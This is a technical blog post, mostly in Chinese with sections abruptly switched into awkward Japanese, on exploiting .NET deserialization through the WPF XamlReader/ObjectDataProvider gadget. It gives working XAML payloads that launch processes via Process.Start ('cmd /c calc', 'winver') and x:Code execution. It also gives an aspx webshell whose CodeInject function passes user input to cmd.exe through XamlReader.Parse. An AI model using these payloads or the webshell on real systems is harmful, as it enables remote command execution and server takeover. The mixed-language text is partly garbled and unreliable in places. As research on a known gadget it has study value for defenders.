0 x 0 1背景。
.NET 反序列化漏洞 XmlSerializer核心 Gadget:XamlReader,封装于 WPF 核心程序集之一 PresentationFramework.dll,处于 System.Windows.Markup 命名空间下,提供了 XamlReader 和 XamlWriter 两个公开类,XamlReader 类提供的底层 Load 方法可解析 XAML 字符流数据实现创建的.NET 对象实例,还提供了上层封装方法 XamlReader.Parse 用于直接解析 XAML 字符串,XmlSerializer 反序列化链路就是基于此方法达成命令执行。既然脱离不了 XAML,那么就跟随笔者初步认识一下 XAML,学习相关的基本知识。
0 x 0 2 XAML入門
WPF 是用于替代 Windows Form 来创建 Windows 客户端的应用程序,和 Web 项目一样遵从前端布局和后端代码实现分离的原则,Web 项目前端通常是 HTML,而 XAML 是用作 WPF 项目前端界面开发,XAML 的全称是 Extensible Application Markup Language 基于通用 XML 语法用于实例化 .NET 对象的标记语言。XAML 文档中的每个元素都映射为.NET 类的一个实例,如根元素<Window>表示 WPF 创建 Window 对象,另外根元素还有<Application>、<Page>、<UserControl>,事实上XAML在编译时也会编成C#类,所以界面对应的.cs 文件内的后台代码内要声明 partial 关键字,从而达到在编译的时候 UI 界面和运行逻辑代码合在一起的状态。如下最基本的 XAML 代码
<Window x:Class="WpfApplication1.MainWindow"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:sys="clr-namespace:System;assembly=mscorlib"
Title="MainWindow" Height="300" Width="300">
<ListBox>
<ListBoxItem>
<sys:String>欢迎关注dotNet安全矩阵</sys:String>
</ListBoxItem>
</ListBox>
</Window>
上記には、ウィンドウ全体を表すWindow要素とGrid要素が含まれ、Gridはすべてのコントロールを配置できます。全体的な構造は、実際にはグリッドオブジェクト内にネストされたフォームオブジェクトです。x Classはバックエンドの名前空間とクラス名を表し、この利点は、フロントエンドXAMLとバックエンド実装コードを分離して維持することです。xmlnsは完全な綴りです。XML名前空間、すなわちXML名前空間、xmlnsの後にオプションのマッピングプレフィックスxを付けることができ、コロンで区切られ、さらに2つのxmlns名前空間を宣言します。

上面列表的网址分别是什么意思呢?这里是 XAML 解析器的硬性约定,http://schemas.microsoft.com/winfx/2006/xaml/presentation 表示引入 WPF 核心程序集 PresentationFramework,例如常见的 System.Windows.Data 命名空间,http://schemas.microsoft.com/winfx/2006/xaml 表示引入另外核心程序集 System.Xaml,例如常用的 Windows.Markup, 反编译后可见 如图

另外还有xmlns:sys="clr-namespace:System;assembly=mscorlib" 表示将 sys 前缀 映射到.NET 基类库System.String名称空间,后续用<sys:String>获取字符串类型,类似若想引入其他.NET 程序集支持的基类,参考如下语法 xmlns:Prefix="clr-namespace:Namespace;assembly=AssemblyName",例如反序列化攻击载荷常用的Diagnostics.Process类所在的程序集:xmlns:c="clr-namespace:System.Diagnostics;assembly=system"

0x03X命令
笔者创建的项目名ObjectDataProvider有一定迷惑性,这里说明下和反序列化用到的 ObjectDataProvider 类毫无关联,下表是常见的几种 x: 空间指令含义

x:Class 前面已说过不再赘述,而 x:Key 表示检索资源文件中所需元素的键名,x:Type 表示 CLR 提供的数据类型,在 XAML 里可以认为是引用某个命名空间下的类,x:Static 引用后端类里定义的静态字段,x:Code 可在 XAML 里执行 C#代码弹出计算器,例如在窗体Loaded事件指定触发的方法名为: Window_Loaded
<x:Code>
<![CDATA[
private void Window_Loaded(object sender, RoutedEventArgs e)
{
System.Diagnostics.Process.Start("calc");
}
]]>
</x:Code>
借用下图笔者把很多概念都画到了图里面,希望帮助读者有更加直观的了解,下图中 x:Type 简单的理解就是在 XAML 中想使用某种数据类型时就得用它,比如从自定义的命名空间xmlns:process里调用Process类,另外 xmlns:local="clr-namespace:ObjectDataProvider" 将本地项目空间名ObjectDataProvider 映射到前缀 xmlns:local

上图中 x:Type 简单的理解就是在 XAML 中想使用某种数据类型时就得用它,比如从自定义的命名空间xmlns:process里调用Process类,另外 xmlns:local="clr-namespace:ObjectDataProvider" 将本地项目空间名ObjectDataProvider 映射到前缀 xmlns:local
0 x 0 4単純化負荷
リソース辞書(ResourceDictionary)は、リソースをキーと値のペアの形で格納し、任意のタイプのオブジェクトを格納する機能について、レッスン12で詳しく説明しました。デフォルトのウィンドウデザイナーはWindow.Resourcesタグを作成し、String型とDouble型の2つのリソースアイテムを追加し、最後にTextBlockコントロールにバインドされたリソースを静的に読み込みます。

リソースが多すぎる場合はResourceDictionaryを使用します。リソースを各ファイルに個別に保存し、ResourceDictionary.MergeDictionaryを使用して一緒に使用できます。
<ResourceDictionary>
<ResourceDictionary.MergedDictionaries>
<ResourceDictionary Source="Dic1.xaml"/>
<ResourceDictionary Source="Dic2.xaml"/>
</ResourceDictionary.MergedDictionaries>
</ResourceDictionary>
Windows.Resourcesがトップレベルコンテナに見つからない場合、プログラムはApplication.Resourcesに移動してリソースを探し続けるため、Application.Resourcesに悪意のあるコードを導入して実行することもできます。XmlSerializeデシリアライズペイロードとXAMLを見る方が簡単でしょうか?
<![CDATA[
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:b="clr-namespace:System;assembly=mscorlib"
xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<b:String>cmd</b:String>
<b:String>/c calc</b:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>]]>
clr-namespace:System.Diagnostics 程序集是必须的,需要靠它调用 Process 类启动新进程。但还可以进一步简化,clr-namespace:System 因为不是必须的所以对应的名称空间 xmlns:b 可以不用,MethodParameters 也就无需再使用<b:String>元素,另外<ResourceDictionary>也可以用<Window.Resources> 或者 <Application.Resources> 、<Grid>控件去替代,代码如下
<Grid xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
<Grid.Resources>
<ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>calc</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</Grid.Resources>
</Grid>
0 x 0 5攻撃の側面
XamlReader.Parse
XmlSerializerデシリアライズチェーンでXamlReader.Parseを使用してXAML文字列を解析し、新しいオブジェクトを返します。定義に移動すると、2つのメソッドオーバーロードが表示されます。
Reads the XAML input in the specified text string and returns an object that corresponds to the root of the specified markup.

笔者创建测试用例存储于 Dictionary2.xaml 如下代码,ObjectType="{x:Type TypeName=local:Process } 可省略 TypeName,另外资源检索键名 ResourceKey 也可以省略,Source={StaticResource ResourceKey=obj}
<Window
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
mc:Ignorable="d"
xmlns:local ="clr-namespace:System.Diagnostics;assembly=System"
Title="MainWindow" Height="450" Width="800">
<Window.Resources>
<ObjectDataProvider x:Key="obj" ObjectType="{x:Type local:Process }" MethodName="Start">
<ObjectDataProvider.MethodParameters>"winver"</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</Window.Resources>
<Grid DataContext="{Binding Source={StaticResource obj}}">
<Button Content="Button" HorizontalAlignment="Left" Margin="300.085,187.924,0,0" VerticalAlignment="Top" Width="139.599" Height="45.517"/>
</Grid>
</Window>
string xml = File.ReadAllText("../../Dictionary2.xaml");
XamlReader.Parse(xml);
上記のコードは呼び出しスタックを追跡し、複数のLoadメソッドを呼び出し、WpfXamlLoaderクラスのLoadメソッドを呼び出したことに注意し、内部実装クラスであり、外部で直接使用することはできません。XamlReader.Loaderメソッドを介してのみ呼び出しを実現できます。

XamlReader.LoadAsync
XamlReaderクラスは、3つのLoadオーバーロードとLoadAsync非同期メソッドを提供し、プログラムのメインスレッドに影響を与えずに大きなファイルデータ転送を行い、ストリームを直接オブジェクトに変換できます。
//Test:Load
string xml = File.ReadAllText("../../Dictionary2.xaml");
MemoryStream ms = new MemoryStream(System.Text.Encoding.Default.GetBytes(xml));
XamlReader.Load(ms);
//Test:LoadAsync
MemoryStream ms0 = new MemoryStream(System.Text.Encoding.Default.GetBytes(xml));
XamlReader xamlReader = new XamlReader();
xamlReader.LoadAsync(ms0);

0x06 WebShell
为了增强程序的可操作性,笔者改用 aspx 页面编写风险检查智能助手,同时设计了主机进程、主机信息采集、主机目录文件访问等功能,内部采用 Base64 编码和解码的解析方式运行,这样的好处在于对 URL 特殊字符串的处置,启动Process类调用cmd.exe/c winver.exe 执行命令,核心代码和页面用户体验界面如下程序
public static void CodeInject(string input)
{
string ExecCode = EncodeBase64("utf-8", input);
StringBuilder strXMAL = new StringBuilder("<ResourceDictionary ");
strXMAL.Append("xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" ");
strXMAL.Append("xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" ");
strXMAL.Append("xmlns:b=\"clr-namespace:System;assembly=mscorlib\" ");
strXMAL.Append("xmlns:pro =\"clr-namespace:System.Diagnostics;assembly=System\">");
strXMAL.Append("<ObjectDataProvider x:Key=\"obj\" ObjectType=\"{x:Type pro:Process}\" MethodName=\"Start\">");
strXMAL.Append("<ObjectDataProvider.MethodParameters>");
strXMAL.Append("<b:String>cmd</b:String>");
strXMAL.Append("<b:String>/c "+ DecodeBase64("utf-8",ExecCode) +"</b:String>");
strXMAL.Append("</ObjectDataProvider.MethodParameters>");
strXMAL.Append("</ObjectDataProvider>");
strXMAL.Append("</ResourceDictionary>");
XamlReader.Parse(strXMAL.ToString());
}

0 x 0 7終わり
XamlReaderクラスの複数のコマンド実行メソッドは、将来的に悪用されないことを願って、この記事はここに紹介され、PDFとデモを含む記事は、惑星にパッケージ化されてリリースされており、. NETセキュリティの懸念と懸念の学生が私たちに参加することを歓迎し、ここでは誠実なパートナーに会うことができ、誰もが有意義なことをするために一緒に集まっています。